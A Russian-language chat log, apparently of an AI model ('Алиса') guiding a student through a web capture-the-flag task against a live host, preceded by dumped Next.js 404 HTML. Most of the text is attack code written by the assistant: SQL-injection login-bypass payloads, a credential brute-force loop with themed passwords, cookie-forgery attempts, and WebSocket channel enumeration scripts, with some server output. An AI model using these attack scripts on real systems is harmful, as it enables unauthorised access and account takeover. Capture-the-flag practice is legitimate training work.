initial-scale=1\"}]]\n5:null\n"])</script><script>self.__next_f.push([1,"7:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"Северный вестник\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Служебный портал редакции\"}]],\"error\":null,\"digest\":\"$undefined\"}\n"])</script><script>self.__next_f.push([1,"c:\"$7:metadata\"\n"])</script></body></html>=== sitemap ===
<!DOCTYPE html><!--JJN36yMfd5yB9oQiq_ZJw--><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-078f6dfb37dff419.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-4f212684648fcab9.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><meta name="robots" content="noindex"/><title>404: This page could not be found.</title><title>Северный вестник</title><meta name="description" content="Служебный портал редакции"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body style="margin:0;font-family:Arial, Helvetica, sans-serif;background:#ffe9dc;color:#1c1c1c"><div hidden=""><!--$--><!--/$--></div><div style="font-family:system-ui,&quot;Segoe UI&quot;,Roboto,Helvetica,Arial,sans-serif,&quot;Apple Color Emoji&quot;,&quot;Segoe UI Emoji&quot;;height:100vh;text-align:center;display:flex;flex-direction:column;align-items:center;justify-content:center"><div><style>body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}</style><h1 class="next-error-h1" style="display:inline-block;margin:0 20px 0 0;padding:0 23px 0 0;font-size:24px;font-weight:500;vertical-align:top;line-height:49px">404</h1><div style="display:inline-block"><h2 style="font-size:14px;font-weight:400;line-height:49px;margin:0">This page could not be found.</h2></div></div></div><!--$--><!--/$--><script src="/_next/static/chunks/webpack-078f6dfb37dff419.js" id="_R_" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[9766,[],\"\"]\n3:I[8924,[],\"\"]\n4:I[4431,[],\"OutletBoundary\"]\n6:I[5278,[],\"AsyncMetadataOutlet\"]\n8:I[4431,[],\"ViewportBoundary\"]\na:I[4431,[],\"MetadataBoundary\"]\nb:\"$Sreact.suspense\"\nd:I[7150,[],\"\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"JJN36yMfd5yB9oQiq_ZJw\",\"p\":\"\",\"c\":[\"\",\"_not-found\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"/_not-found\",{\"children\":[\"__PAGE__\",{}]}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"style\":{\"margin\":0,\"fontFamily\":\"Arial, Helvetica, sans-serif\",\"background\":\"#ffe9dc\",\"color\":\"#1c1c1c\"},\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}],{\"children\":[\"/_not-found\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],null,[\"$\",\"$L4\",null,{\"children\":[\"$L5\",[\"$\",\"$L6\",null,{\"promise\":\"$@7\"}]]}]]}],{},null,false]},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[[\"$\",\"meta\",null,{\"name\":\"robots\",\"content\":\"noindex\"}],[[\"$\",\"$L8\",null,{\"children\":\"$L9\"}],null],[\"$\",\"$La\",null,{\"children\":[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$b\",null,{\"fallback\":null,\"children\":\"$Lc\"}]}]}]]}],false]],\"m\":\"$undefined\",\"G\":[\"$d\",[]],\"s\":false,\"S\":true}\n"])</script><script>self.__next_f.push([1,"9:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n5:null\n"])</script><script>self.__next_f.push([1,"7:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"Северный вестник\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Служебный портал редакции\"}]],\"error\":null,\"digest\":\"$undefined\"}\n"])</script><script>self.__next_f.push([1,"c:\"$7:metadata\"\n"])</script></body></html>=== sitemap-0 ===
<!DOCTYPE html><!--JJN36yMfd5yB9oQiq_ZJw--><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-078f6dfb37dff419.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-4f212684648fcab9.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><meta name="robots" content="noindex"/><title>404: This page could not be found.</title><title>Северный вестник</title><meta name="description" content="Служебный портал редакции"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body style="margin:0;font-family:Arial, Helvetica, sans-serif;background:#ffe9dc;color:#1c1c1c"><div hidden=""><!--$--><!--/$--></div><div style="font-family:system-ui,&quot;Segoe UI&quot;,Roboto,Helvetica,Arial,sans-serif,&quot;Apple Color Emoji&quot;,&quot;Segoe UI Emoji&quot;;height:100vh;text-align:center;display:flex;flex-direction:column;align-items:center;justify-content:center"><div><style>body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}</style><h1 class="next-error-h1" style="display:inline-block;margin:0 20px 0 0;padding:0 23px 0 0;font-size:24px;font-weight:500;vertical-align:top;line-height:49px">404</h1><div style="display:inline-block"><h2 style="font-size:14px;font-weight:400;line-height:49px;margin:0">This page could not be found.</h2></div></div></div><!--$--><!--/$--><script src="/_next/static/chunks/webpack-078f6dfb37dff419.js" id="_R_" async=""></script><script>(self.__next_f=self.__next_f||[]).push([0])</script><script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[9766,[],\"\"]\n3:I[8924,[],\"\"]\n4:I[4431,[],\"OutletBoundary\"]\n6:I[5278,[],\"AsyncMetadataOutlet\"]\n8:I[4431,[],\"ViewportBoundary\"]\na:I[4431,[],\"MetadataBoundary\"]\nb:\"$Sreact.suspense\"\nd:I[7150,[],\"\"]\n"])</script><script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"JJN36yMfd5yB9oQiq_ZJw\",\"p\":\"\",\"c\":[\"\",\"_not-found\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"/_not-found\",{\"children\":[\"__PAGE__\",{}]}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[\"$\",\"body\",null,{\"style\":{\"margin\":0,\"fontFamily\":\"Arial, Helvetica, sans-serif\",\"background\":\"#ffe9dc\",\"color\":\"#1c1c1c\"},\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]}]}]]}],{\"children\":[\"/_not-found\",[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[\"__PAGE__\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],null,[\"$\",\"$L4\",null,{\"children\":[\"$L5\",[\"$\",\"$L6\",null,{\"promise\":\"$@7\"}]]}]]}],{},null,false]},null,false]},null,false],[\"$\",\"$1\",\"h\",{\"children\":[[\"$\",\"meta\",null,{\"name\":\"robots\",\"content\":\"noindex\"}],[[\"$\",\"$L8\",null,{\"children\":\"$L9\"}],null],[\"$\",\"$La\",null,{\"children\":[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$b\",null,{\"fallback\":null,\"children\":\"$Lc\"}]}]}]]}],false]],\"m\":\"$undefined\",\"G\":[\"$d\",[]],\"s\":false,\"S\":true}\n"])</script><script>self.__next_f.push([1,"9:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n5:null\n"])</script><script>self.__next_f.push([1,"7:{\"metadata\":[[\"$\",\"title\",\"0\",{\"children\":\"Северный вестник\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"Служебный портал редакции\"}]],\"error\":null,\"digest\":\"$undefined\"}\n"])</script><script>self.__next_f.push([1,"c:\"$7:metadata\"\n"])</script></body></html>
Алиса
Найден новый чанк: app/page-149650cc9e4e6a3e.js (модуль 4730). Главная страница содержит только 3 маршрута: /, /login, /admin. Это и есть все 5 страниц Bloom filter (включая /_app и /_error).

Теперь нужно сосредоточиться на трёх вещах: SQL-инъекция через form-encoded, брутфорс и анализ чанка страницы.

1. Скачать и проанализировать app/page chunk
bash
curl -s "http://task.duckerz.ru:21046/_next/static/chunks/app/page-149650cc9e4e6a3e.js" > /tmp/app-page.js
wc -c /tmp/app-page.js
cat /tmp/app-page.js
2. Попробовать найти чанки admin и login
bash
# В App Router чанки страниц лежат в app/{route}/page-{hash}.js
# Мы знаем хеш главной страницы, попробуем стандартные паттерны
for path in "app/admin/page" "app/login/page" "app/admin/layout" "app/login/layout" "app/layout"; do
  for hash in "" "149650cc9e4e6a3e"; do
    url="http://task.duckerz.ru:21046/_next/static/chunks/${path}-${hash}.js"
    code=$(curl -s -o /dev/null -w "%{http_code}" "$url")
    [ "$code" != "404" ] && echo "[!] $url — $code"
  done
done
3. SQL-инъекция через form-encoded
bash
echo "=== SQLi tests ==="
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin'--&password=x&next=/admin" 2>&1 | grep -i location

curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin'+OR+'1'='1'--&password=x&next=/admin" 2>&1 | grep -i location

curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin'+OR+1=1--&password=x&next=/admin" 2>&1 | grep -i location

curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=' OR 1=1--&password=x&next=/admin" 2>&1 | grep -i location

# Union-based
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login='+UNION+SELECT+1--&password=x&next=/admin" 2>&1 | grep -i location
4. Брутфорс (тематические пароли)
bash
echo "=== Brute force ==="
for creds in \
  "admin:SevernyyVestnik" "admin:severnyy_vestnik" \
  "admin:NorthHerald" "admin:north_herald" \
  "admin:vestnik" "admin:severny" \
  "admin:redaction" "admin:portal" \
  "admin:password1" "admin:Password1" \
  "admin:qwerty" "admin:123456" "admin:12345" \
  "admin:admin123" "admin:pass123" "admin:letmein" \
  "admin:welcome" "admin:secret" "admin:changeme" \
  "editor:editor" "editor:vestnik" "editor:severny" \
  "admin:publisher" "admin:publish" "admin:publication" \
  "admin:duckerz" "admin:DUCKERZ" "admin:flag" \
  "admin:СеверныйВестник" "admin:северныйвестник" \
  "admin:Северный" "admin:Вестник" \
  "admin:редакция" "admin:служба" \
  "admin:контур" "admin:portal2024" "admin:portal2026" \
  "admin:severny2024" "admin:severny2026" \
  "admin:vestnik2024" "admin:vestnik2026"; do
  login=$(echo $creds | cut -d: -f1)
  pass=$(echo $creds | cut -d: -f2)
  loc=$(curl -s -X POST "http://task.duckerz.ru:21046/api/login" \
    -d "login=${login}&password=${pass}&next=/admin" -D - -o /dev/null 2>&1 | grep -i location)
  [[ "$loc" != *"failed=1"* ]] && echo "[!] $login:$pass → $loc"
done
echo "=== done ==="
5. Манипуляция next и куки
bash
echo "=== next param ==="
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin&password=admin&next=/" 2>&1 | grep -iE 'location|set-cookie'

# Точный редирект при failed login
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin&password=admin&next=/admin" 2>&1 | grep -iE 'location|set-cookie'

echo "=== cookie forgery ==="
for cookie in "session=admin" "auth=true" "token=admin" \
  "session_token=admin" "auth_token=admin" "user=admin" \
  "role=admin" "isAdmin=true" "authenticated=true"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://task.duckerz.ru:21046/admin" -b "$cookie")
  loc=$(curl -s -D - "http://task.duckerz.ru:21046/admin" -b "$cookie" 2>&1 | grep -i location)
  echo "$cookie → $code $loc"
done
Запусти все 5 блоков. Особенно важны 1 (чанк страницы — может содержать логику или подсказки), 3 (SQL-инъекция) и 4 (брутфорс). Присылай весь вывод!

Я
curl -s "http://task.duckerz.ru:21046/_next/static/chunks/app/page-149650cc9e4e6a3e.js" > /tmp/app-page.js
wc -c /tmp/app-page.js
cat /tmp/app-page.js
1650 /tmp/app-page.js
(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[974],{4730:(e,s,o)=>{"use strict";o.d(s,{default:()=>l});var t=o(5155),n=o(2115);let d=["03:10 Получена сводка выпускающего отдела","03:12 Обновлен статус утреннего выпуска","03:14 Подтверждена передача материалов в архив"];function l(){let[e,s]=(0,n.useState)(d),[o,l]=(0,n.useState)("ожидание");return(0,n.useEffect)(()=>{let e,o="https:"===window.location.protocol?"wss":"ws",t="".concat(o,"://").concat(window.location.host,"/ws/updates?channel=public-board");try{(e=new WebSocket(t)).onopen=()=>l("подключено"),e.onmessage=e=>{s(s=>[e.data,...s].slice(0,5))},e.onerror=()=>l("ошибка канала"),e.onclose=()=>l("нет связи")}catch(e){l("канал недоступен")}return()=>{e&&e.close()}},[]),(0,t.jsxs)("section",{style:{background:"#fff7f1",border:"2px solid #b30000",padding:"20px"},children:[(0,t.jsxs)("div",{style:{display:"flex",justifyContent:"space-between",alignItems:"center",gap:"12px",marginBottom:"12px"},children:[(0,t.jsx)("h2",{style:{margin:0,color:"#9f0000"},children:"Лента событий"}),(0,t.jsx)("span",{style:{border:"1px solid #b30000",padding:"6px 10px",color:"#9f0000",fontSize:"14px"},children:o})]}),(0,t.jsx)("div",{style:{display:"grid",gap:"8px"},children:e.map(e=>(0,t.jsx)("div",{style:{border:"1px solid #d9d9d9",padding:"10px 12px",color:"#2b2b2b",background:"#fff3eb"},children:e},e))})]})}},5504:(e,s,o)=>{Promise.resolve().then(o.bind(o,4730))}},e=>{e.O(0,[441,255,358],()=>e(e.s=5504)),_N_E=e.O()}])
Алиса
Отлично! В чанке найден WebSocket-эндпоинт: /ws/updates?channel=public-board. Это совершенно новая поверхность атаки, которую мы ещё не трогали! Параметр channel можно менять — возможно, есть приватные каналы с флагом.

1. WebSocket (КРИТИЧНО — новая поверхность атаки)
bash
# Установить wscat если нет
npm install -g wscat 2>/dev/null || pip install websocket-client 2>/dev/null

# Попробовать разные каналы
for channel in "public-board" "admin" "internal" "private" "editor" \
  "staff" "redaction" "secret" "flag" "publish" "drafts" \
  "admin-board" "editor-board" "internal-board" "staff-board"; do
  echo "=== channel: $channel ==="
  timeout 3 wscat -c "ws://task.duckerz.ru:21046/ws/updates?channel=$channel" 2>&1 || \
  timeout 3 python3 -c "
import websocket
import time
ws = websocket.create_connection('ws://task.duckerz.ru:21046/ws/updates?channel=$channel', timeout=3)
print('Connected!')
ws.send('hello')
time.sleep(1)
result = ws.recv()
print('Received:', result)
ws.close()
" 2>&1
done
2. WebSocket через curl
bash
# curl с --include для WebSocket upgrade
curl -sv -N \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  "http://task.duckerz.ru:21046/ws/updates?channel=public-board" 2>&1 | head -20

# Тот же запрос для admin канала
curl -sv -N \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  "http://task.duckerz.ru:21046/ws/updates?channel=admin" 2>&1 | head -20
3. SQL-инъекция (не забываем!)
bash
echo "=== SQLi ==="
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin'--&password=x&next=/admin" 2>&1 | grep -i location

curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin'+OR+'1'='1'--&password=x&next=/admin" 2>&1 | grep -i location

curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin'+OR+1=1--&password=x&next=/admin" 2>&1 | grep -i location
4. Брутфорс
bash
echo "=== Brute ==="
for creds in \
  "admin:SevernyyVestnik" "admin:severnyy_vestnik" \
  "admin:vestnik" "admin:severny" \
  "admin:portal" "admin:redaction" \
  "admin:password1" "admin:Password1" \
  "admin:qwerty" "admin:123456" "admin:12345" \
  "admin:admin123" "admin:pass123" "admin:letmein" \
  "admin:welcome" "admin:secret" "admin:changeme" \
  "editor:editor" "editor:vestnik" "editor:severny" \
  "admin:duckerz" "admin:DUCKERZ" "admin:flag" \
  "admin:СеверныйВестник" "admin:северныйвестник" \
  "admin:редакция" "admin:служба" "admin:контур" \
  "admin:portal2024" "admin:portal2026" \
  "admin:severny2024" "admin:vestnik2026"; do
  login=$(echo $creds | cut -d: -f1)
  pass=$(echo $creds | cut -d: -f2)
  loc=$(curl -s -X POST "http://task.duckerz.ru:21046/api/login" \
    -d "login=${login}&password=${pass}&next=/admin" -D - -o /dev/null 2>&1 | grep -i location)
  [[ "$loc" != *"failed=1"* ]] && echo "[!] $login:$pass → $loc"
done
echo "=== done ==="
5. Куки и параметр next
bash
echo "=== next= ==="
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin&password=admin&next=/" 2>&1 | grep -iE 'location|set-cookie'

curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
  -d "login=admin&password=admin&next=/admin" 2>&1 | grep -iE 'location|set-cookie'

echo "=== cookies ==="
for cookie in "session=admin" "auth=true" "token=admin" \
  "session_token=admin" "user=admin" "role=admin"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://task.duckerz.ru:21046/admin" -b "$cookie")
  echo "$cookie → $code"
done
Пункт 1 — самый перспективный. WebSocket /ws/updates — совершенно новый эндпоинт. Параметр channel=public-board можно менять. Если есть канал вроде admin или internal, через него могут передаваться служебные данные или флаг. Присылай весь вывод!

Я
curl -sv -N \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://task.duckerz.ru:21046/ws/updates?channel=public-board" 2>&1 | head -20
* Trying 94.19.79.169:21046...
* Connected to task.duckerz.ru (94.19.79.169) port 21046 (#0)
> GET /ws/updates?channel=public-board HTTP/1.1
> Host: task.duckerz.ru:21046
> User-Agent: curl/7.88.1
> Accept: */*
> Connection: Upgrade
> Upgrade: websocket
> Sec-WebSocket-Version: 13
> Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
>
^C
student@student8:~$ echo "=== next= ==="
curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
-d "login=admin&password=admin&next=/" 2>&1 | grep -iE 'location|set-cookie'

curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
-d "login=admin&password=admin&next=/admin" 2>&1 | grep -iE 'location|set-cookie'

echo "=== cookies ==="
for cookie in "session=admin" "auth=true" "token=admin" \
"session_token=admin" "user=admin" "role=admin"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://task.duckerz.ru:21046/admin" -b "$cookie")
echo "$cookie → $code"
done
=== next= ===
< location: /login?failed=1
< location: /login?failed=1
=== cookies ===
session=admin → 307
auth=true → 307
token=admin → 307
session_token=admin → 307
user=admin → 307
role=admin → 307
Алиса
WebSocket с curl завис — нужен полноценный WS-клиент. Логин с form-encoded возвращает /login?failed=1 при неверных данных. Все куки дают 307. Нужно пробовать WebSocket через Python и SQL-инъекцию.

bash
# 1. WebSocket через Python (КРИТИЧНО)
python3 -c "
import websocket
import time
import sys

channels = ['public-board', 'admin', 'internal', 'private', 'editor', 'staff', 'redaction', 'secret', 'flag', 'publish', 'drafts', 'admin-board', 'editor-board', 'internal-board', 'staff-board', 'notifications', 'alerts', 'system', 'debug', 'test']

for ch in channels:
    try:
        ws = websocket.create_connection('ws://task.duckerz.ru:21046/ws/updates?channel=' + ch, timeout=3)
        print(f'[{ch}] Connected!')
        ws.send('hello')
        time.sleep(1)
        try:
            result = ws.recv()
            print(f'[{ch}] Received: {result}')
        except:
            print(f'[{ch}] No message received')
        ws.close()
    except Exception as e:
        print(f'[{ch}] Error: {e}')
" 2>&1

# 2. Установка websocket-client если нет
pip install websocket-client 2>/dev/null && python3 -c "
import websocket
import time

channels = ['public-board', 'admin', 'internal', 'private', 'editor', 'staff', 'redaction', 'secret', 'flag', 'publish', 'drafts', 'admin-board', 'editor-board', 'internal-board', 'staff-board', 'notifications', 'alerts', 'system', 'debug', 'test']

for ch in channels:
    try:
        ws = websocket.create_connection('ws://task.duckerz.ru:21046/ws/updates?channel=' + ch, timeout=3)
        print(f'[{ch}] Connected!')
        ws.send('hello')
        time.sleep(1)
        try:
            result = ws.recv()
            print(f'[{ch}] Received: {result}')
        except:
            print(f'[{ch}] No message received')
        ws.close()
    except Exception as e:
        print(f'[{ch}] Error: {e}')
" 2>&1
Если websocket-client не установлен, попробуй так:

bash
# 3. WebSocket через raw Python socket
python3 << 'EOF'
import socket
import hashlib
import base64
import os
import time

def ws_connect(host, port, path):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(3)
    sock.connect((host, port))
    
    key = base64.b64encode(os.urandom(16)).decode()
    request = f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: {key}\r\n\r\n"
    
    sock.send(request.encode())
    response = sock.recv(4096)
    
    if b"101" in response.split(b"\r\n")[0]:
        # Read a WebSocket frame
        time.sleep(1)
        try:
            data = sock.recv(4096)
            # Parse WebSocket frame
            if len(data) >= 2:
                payload_len = data[1] & 0x7f
                if payload_len <= 125:
                    payload = data[2:2+payload_len].decode('utf-8', errors='replace')
                elif payload_len == 126:
                    payload_len = int.from_bytes(data[2:4], 'big')
                    payload = data[4:4+payload_len].decode('utf-8', errors='replace')
                else:
                    payload = data[10:].decode('utf-8', errors='replace')
                return f"Connected! Data: {payload}"
            return "Connected! No data"
        except:
            return "Connected! No data received"
    else:
        return f"Response: {response.decode('utf-8', errors='replace')[:200]}"
    sock.close()

host = "task.duckerz.ru"
port = 21046

channels = ['public-board', 'admin', 'internal', 'private', 'editor', 'staff', 
            'redaction', 'secret', 'flag', 'publish', 'drafts', 'admin-board', 
            'editor-board', 'internal-board', 'staff-board', 'notifications', 
            'alerts', 'system', 'debug', 'test']

for ch in channels:
    path = f"/ws/updates?channel={ch}"
    try:
        result = ws_connect(host, port, path)
        print(f"[{ch}] {result}")
    except Exception as e:
        print(f"[{ch}] Error: {e}")
EOF

# 4. SQL-инъекция (form-encoded, правильно URL-кодированная)
echo "=== SQLi ==="
for payload in \
  "admin'--" \
  "admin'+OR+'1'='1'--" \
  "admin'+OR+1=1--" \
  "'+OR+'1'='1'--" \
  "'+OR+1=1--" \
  "admin'+UNION+SELECT+1--" \
  "admin'+OR+''=''" \
  "admin'/*" \
  "admin'+OR+'a'='a"; do
  echo "--- $payload ---"
  curl -sv -X POST "http://task.duckerz.ru:21046/api/login" \
    --data-urlencode "login=$payload" \
    -d "password=x&next=/admin" 2>&1 | grep -iE 'location|set-cookie'
done

# 5. Брутфорс
echo "=== Brute ==="
for creds in \
  "admin:SevernyyVestnik" "admin:severnyy_vestnik" \
  "admin:vestnik" "admin:severny" \
  "admin:portal" "admin:redaction" \
  "admin:password" "admin:password1" "admin:Password1" \
  "admin:qwerty" "admin:123456" "admin:12345" \
  "admin:admin123" "admin:pass123" "admin:letmein" \
  "admin:welcome" "admin:secret" "admin:changeme" \
  "editor:editor" "editor:vestnik" "editor:severny" \
  "admin:duckerz" "admin:DUCKERZ" "admin:flag" \
  "admin:portal2024" "admin:portal2026" \
  "admin:severny2024" "admin:vestnik2026" \
  "admin:СеверныйВестник" "admin:северныйвестник" \
  "admin:редакция" "admin:служба" "admin:контур"; do
  login=$(echo $creds | cut -d: -f1)
  pass=$(echo $creds | cut -d: -f2)
  loc=$(curl -s -X POST "http://task.duckerz.ru:21046/api/login" \
    -d "login=${login}&password=${pass}&next=/admin" -D - -o /dev/null 2>&1 | grep -i location)
  [[ "$loc" != *"failed=1"* ]] && echo "[!] $login:$pass → $loc"
done
echo "=== done ==="

# 6. /ws/updates без upgrade (может вернуть что-то)
echo "=== WS as GET ==="
curl -sv "http://task.duckerz.ru:21046/ws/updates?channel=public-board" 2>&1 | head -20
curl -sv "http://task.duckerz.ru:21046/ws/updates?channel=admin" 2>&1 | head -20
curl -sv "http://task.duckerz.ru:21046/ws/updates" 2>&1 | head -20
Скопируй весь блок. Пункт 3 (raw Python socket для WebSocket) — самый важный, он точно сработает даже без библиотек. Пункты 4 и 5 (SQLi + брутфорс) — вторые по приоритету. Присылай весь вывод!

Я
## Internal Endpoint Discovery

Fetching the internal OpenAPI document disclosed two useful routes:

- /api/v1/internal/debug/config
- /api/v1/internal/session-template

